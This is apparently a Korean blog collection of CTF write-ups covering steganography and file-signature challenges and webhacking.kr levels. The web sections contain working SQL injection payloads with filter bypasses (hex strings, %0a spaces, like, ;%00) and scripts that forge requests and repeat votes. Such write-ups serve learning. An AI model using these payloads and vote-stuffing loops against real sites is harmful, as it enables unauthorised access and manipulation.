반응형
반응형
반응형

Multimedia

Find Key(moon)

100

Find Key(moon)

 

 

moon.png 파일이 주어진다.

 

뒤에 PK 시그니쳐가 붙어있다.

 

zip으로 만들어주자.

 

 

암호가 걸려있다.

 

advanced archive password recovery를 이용하여 브포한 패스워드는 moon이었다.

 

 

반응형
반응형

Multimedia

 

Find Key(butterfly)

100

Find Key(butterfly)

 

 

text 청크가 있길레 이 청크에 키 값이 있나 했는데... 플래그는 없었다.

 

그래서 그냥 stegsolve.jar 돌려보니까 플래그가 나왔다.

 

 

반응형
반응형

Multimedia

우리는 이 파일에 플래그를...

100

우리는 이 파일에 플래그를 넣었지만 오는 길에 뭔가 엉망이 됐어요.

KEY Format : ABCTF{(key)}

 

flag 파일이 주어진다.

 

 

 

1f 8b 08은 .gz 시그니쳐이다.

 

gz 압축을 풀어주면 flag 파일이 나온다.

 

 

 

gz파일임을 exeinfope.exe 돌려봐도 알 수 있다.

반응형
반응형

Multimedia

사진 속에서 빨간색이…

100

사진 속에서 빨간색이 좀 이상해 보입니까?

 

 

hidden.png 파일이 주어진다.

 

문제 지문을 보면, 이미지(그림)에 플래그가 있는 것 같은 느낌이다.

 

png 파일이기도 해서 stegsolve.jar을 돌려보았다.

 

 

정답이었다.

반응형
반응형

저는 플래그를 이 파일에..

100

저는 플래그를 이 파일에 넣는 것에 긍정적입니다. 저를 위해 찾아 줄 수 있나요?

KEY Format : ABCTF{(key)}

 

 

just_open_it_jpg 라는 파일이 주어진다.

 

이미지를 보면 중간에 비트가 손상되서 이미지가 깨진 것을 확인할 수 있다.

 

jpg는 앞에 비트 하나만 잘 못 되어도 뒤에 전부 문제가 생기는 그러한 특징이 있다.

 

해당 비트 부분을 찾아서 고쳐야 하나 생각했지만..

 

문제에서 플래그 포멧을 준 것을 보고,  플래그 포멧을 이용하여 검색으로 찾으면 나오지 않을까라는  생각이 들었는데,

맞았다.

 

반응형
반응형

Multimedia

제 친구의 개가 바다에서…

100

 

제 친구의 개가 바다에서 수영을 하다가 플래그를 발견했는데 제게 주지 않습니다. 여기서 구해 줄 수 있습니까?

 

 

hidden.jpg가 주어진다.

 

이미지를 잘 보면, 흐릿한 문자열을 확인할 수 있다.

 

 

 

 

포토샵을 사용하여 반전 > 명도&채도 조절 을 통해 비교적 선명한 문자열을 만들 수 있었다.

반응형
반응형

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
  $db = dbconnect();
  if(!$_GET['id']) $_GET['id']="guest";
  echo "<html><head><title>Challenge 61</title></head><body>";
  echo "<a href=./?view_source=1>view-source</a><hr>";
  $_GET['id'= addslashes($_GET['id']);
  if(preg_match("/\(|\)|select|from|,|by|\./i",$_GET['id'])) exit("Access Denied");
  if(strlen($_GET['id'])>15exit("Access Denied");
  $result = mysqli_fetch_array(mysqli_query($db,"select {$_GET['id']} from chall61 order by id desc limit 1"));
  echo "<b>{$result['id']}</b><br>";
  if($result['id'== "admin") solve(61);
  echo "</body></html>";
?>
cs

 

GET으로 id값을 받는다.

 

addslashes 함수는 특수문자에 \를 붙이는 역할을 한다.

이어서 필터링를 통과하고 길이가 15보다 크지 않다면,

 

select {$_GET['id']} from chall61 order by id desc limit 1

 

을 실행한다.

 

 

id 내림차순으로 1개만을 반환한다.

 

이 문제는 aliases를 이용하면 된다.

 

"칼럼명" "별칭"

 

payload = 0x61646d696e%20id

 

 

반응형
반응형

 

sqli문제인 것으로 보인다. 소스코드를 확인하자.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 27</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get action=index.php>
<input type=text name=no><input type=submit>
</form>
<?php
  if($_GET['no']){
  $db = dbconnect();
  if(preg_match("/#|select|\(| |limit|=|0x/i",$_GET['no'])) exit("no hack");
  $r=mysqli_fetch_array(mysqli_query($db,"select id from chall27 where id='guest' and no=({$_GET['no']})")) or die("query error");
  if($r['id']=="guest"echo("guest");
  if($r['id']=="admin") solve(27); // admin's no = 2
}
?>
<br><a href=?view_source=1>view-source</a>
</body>
</html>
cs

 

no값을 입력받아 필터링 과정을 거친다. 설정된 문자열이 포함된 경우 exit()가 호출된다.

 

select id from chall27 where id='guest' and no=({$_GET['no']})

위 sql 구문을 실행하여 id값이 admin인 데이터가 반환되면 문제가 해결된다.

 

admin의 no값이 2라고 주어졌으며, 이 것을 보고 guest의 no값은 0이나 1일 수 있다.

 

guest의 no값은 1이다.

 

id가 admin인 데이터를 뽑아내기 위해서 우리는 sql구문을 아래와 같이 만들어야 한다.

 

select id from chall27 where id='guest' and no=(0)or id = "admin"#)

 

그러나 =, #, 공백 이 필터링되므로 이 문자들을 우회해야 한다.

 

=는 like로 #은 ;%00 으로 우회가 가능하다.

 

공백을 우회하는 방법은 여러가지가 있는데, %0a로 우회하였다.

 

payload = 0)or%0aid%0alike%0a"admin";%00

 

 

 

반응형
반응형

시작부터 wrong이 적혀있다. 소스를 보자.

 

 

1
2
3
4
5
6
7
8
9
<hr>
Challenge 33-1<br>
<a href=index.txt>view-source</a>
<hr>
<?php
if($_GET['get']=="hehe"echo "<a href=???>Next</a>";
else echo("Wrong");
?>
 
cs

GET방식으로 get=hehe를 넘겨주면 된다. 

 

url?get=hehe

 

 

 

1
2
3
4
5
6
7
8
9
<hr>
Challenge 33-2<br>
<a href=lv2.txt>view-source</a>
<hr>
<?php
if($_POST['post']=="hehe" && $_POST['post2']=="hehe2"echo "<a href=???>Next</a>";
else echo "Wrong";
?>
 
cs

이번에는 POST방식으로 2개의 값을 넘겨줘야 한다.

 

 

파이썬으로 해결 가능하다.

1
2
3
4
5
6
7
8
9
10
import requests
 
URL = 'https://webhacking.kr/challenge/bonus-6/lv2.php'
 
cookies = {'PHPSESSID''value'}
data = {'post''hehe''post2''hehe2'}
 
 
print(requests.post(URL, data=data, cookies=cookies).text)
 
cs

 

결과: 

 

 

 

 

다음 문제로 이동하자.

 

1
2
3
4
5
6
7
8
9
<hr>
Challenge 33-3<br>
<a href=33.txt>view-source</a>
<hr>
<?php
if($_GET['myip'== $_SERVER['REMOTE_ADDR']) echo "<a href=???>Next</a>";
else echo "Wrong";
?>
 
cs

get방식으로 myip의 값이 내 ip주소와 일치하면 된다.

 

?myip=본인의아이피주소

 

 

 

다음 문제로 이동하자.

 

일단 힌트가 있다. 값을 보면, time값인 것 같다.

 

1
2
3
4
5
6
7
8
9
<hr>
Challenge 33-4<br>
<a href=l4.txt>view-source</a>
<hr>
<?php
if($_GET['password'== md5(time())) echo "<a href=???>Next</a>";
else echo "hint : ".time();
?>
 
cs

time()값의 md5해시값이 password와 같으면 된다.

 


Time()값은 시간에 따라 변하고, md5해시값을 구해서 request를 하는데에 시간이 걸리므로,
Hint에 표시되는 시간에 수십초 정도를 더한 값의 md5값을 구해서 get방식으로 넘겨주면 된다.

 

해당 time()값이 될때까지 새로고침을 계속 해주면 된다.

 

 

 

 

 

다음 문제로 이동하자.

 

 

1
2
3
4
5
6
7
8
9
<hr>
Challenge 33-5<br>
<a href=md555.txt>view-source</a>
<hr>
<?php
if($_GET['imget'&& $_POST['impost'&& $_COOKIE['imcookie']) echo "<a href=???>Next</a>";
else echo "Wrong";
?>
 
cs

 

 

 

 

다음 문제는 get, post, cookie값을 모두 받는다. 간단하게 파이썬 코드를 작성하여 해결이 가능했다.

 

1
2
3
4
5
6
7
8
9
10
import requests
 
URL = 'https://webhacking.kr/challenge/bonus-6/md555.php?imget=a'
 
cookies = {'PHPSESSID''[value]''imcookie''a'}
data = {'impost''hehe'}
 
 
print(requests.post(URL, data=data, cookies=cookies).text)
 
cs

 

 

 

다음 문제로 이동하자.

 

 

1
2
3
4
5
6
7
8
9
<hr>
Challenge 33-6<br>
<a href=gpcc.txt>view-source</a>
<hr>
<?php
if($_COOKIE['test'== md5($_SERVER['REMOTE_ADDR']) && $_POST['kk'== md5($_SERVER['HTTP_USER_AGENT'])) echo "<a href=???>Next</a>";
else echo "hint : {$_SERVER['HTTP_USER_AGENT']}";
?>
 
cs

쿠키 test값이 md5(ip주소)이고, POST방식으로 넘긴 kk의 값이 md5($_SERVER['HTTP_USER_AGENT']) 이어야 한다.

$_SERVER['HTTP_USER_AGENT']의 값은 힌트로 제공해주고 있기 때문에 그대로 md5해시화하면 된다.

 

 

1
2
3
4
5
6
7
8
9
10
import requests
 
URL = 'https://webhacking.kr/challenge/bonus-6/gpcc.php'
 
cookies = {'PHPSESSID''value''test''c069724157f7b464fe9470ab037e420e'}
data = {'kk''fa33cbcb27178503b0a544f0bd1f9e8d'}
 
 
print(requests.post(URL, data=data, cookies=cookies).text)
 
cs

 

 

 

 

 

다음 문제로 넘어가자.

 

1
2
3
4
5
6
7
8
9
10
<hr>
Challenge 33-7<br>
<a href=wtff.txt>view-source</a>
<hr>
<?php
$_SERVER['REMOTE_ADDR'= str_replace(".","",$_SERVER['REMOTE_ADDR']);
if($_GET[$_SERVER['REMOTE_ADDR']] == $_SERVER['REMOTE_ADDR']) echo "<a href=???>Next</a>";
else echo "Wrong<br>".$_GET[$_SERVER['REMOTE_ADDR']];
?>
 
cs

get으로 받는 변수명이 ip주소에서 .이 빠진 값이고, 해당 변수의 값이 변수명과 동일하다.

 

 

 

 

다음 문제로 넘어가자.

1
2
3
4
5
6
7
8
9
10
11
<hr>
Challenge 33-8<br>
<a href=ipt.txt>view-source</a>
<hr>
<?php
extract($_GET);
if(!$_GET['addr']) $addr = $_SERVER['REMOTE_ADDR'];
if($addr == "127.0.0.1"echo "<a href=???>Next</a>";
else echo "Wrong";
?>
 
cs

addr의 값으로 127.0.0.1을 넘겨주면 된다.

 

 

 

다음 문제로 넘어가자.

1
2
3
4
5
6
7
8
9
10
11
12
<hr>
Challenge 33-9<br>
<a href=nextt.txt>view-source</a>
<hr>
<?php
for($i=97;$i<=122;$i=$i+2){
  $answer.=chr($i);
}
if($_GET['ans'== $answerecho "<a href=???.php>Next</a>";
else echo "Wrong";
?>
 
cs

 

 

answer의 값은 아래와 같다.

 

 

 

 

 

 

다음 문제로 이동하자.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<hr>
Challenge 33-10<br>
<a href=forfor.txt>view-source</a>
<hr>
<?php
$ip = $_SERVER['REMOTE_ADDR'];
for($i=0;$i<=strlen($ip);$i++$ip=str_replace($i,ord($i),$ip);
$ip=str_replace(".","",$ip);
$ip=substr($ip,0,10);
$answer = $ip*2;
$answer = $ip/2;
$answer = str_replace(".","",$answer);
$f=fopen("answerip/{$answer}_{$ip}.php","w");
fwrite($f,"<?php include \"../../../config.php\"; solve(33); unlink(__FILE__); ?>");
fclose($f);
?>
 
cs

 

answerip/{$answer}_{$ip}.php 으로 이동하면 문제가 해결됨을 알 수 있다.

 

answer과 ip의 값도 파이썬으로 구하자.

 

... 파이썬으로 하려고 했는데 잘 안되서 그냥 php로 돌렸다.

1
2
3
4
5
6
7
8
9
10
<?php
$ip ='myip';
for($i=0;$i<=strlen($ip);$i++$ip=str_replace($i,ord($i),$ip);
$ip=str_replace(".","",$ip);
$ip=substr($ip,0,10);
$answer = $ip*2;
$answer = $ip/2;
$answer = str_replace(".","",$answer);
echo $answer.'_'.$ip.'.php';
?>
cs

 

반응형
반응형

 

유저를 클릭하면 유저를 투표할 수 있다. 투표는 한 번만 할 수 있는데, 쿠키값을 보면 vote_check값을 통해 투표를 했는지 안 했는지를 확인한다. 따라서 vote_check값을 없애주면 계속해서 투표를 할 수 있다.

 

?hit=[id]로 이동하면 투표가 된다.

 

이제 투표를 100번하는 파이썬 코드를 작성하자.

 

 

1
2
3
4
5
6
7
8
9
import requests
 
URL = 'https://webhacking.kr/challenge/code-5/?hit=[id]'
 
cookies = {'PHPSESSID''[value]'}
 
for i in range(100):
    requests.get(URL, cookies=cookies)
 
cs

 

실행 후 페이지를 새로고침 하니 문제가 풀렸다.

반응형

+ Recent posts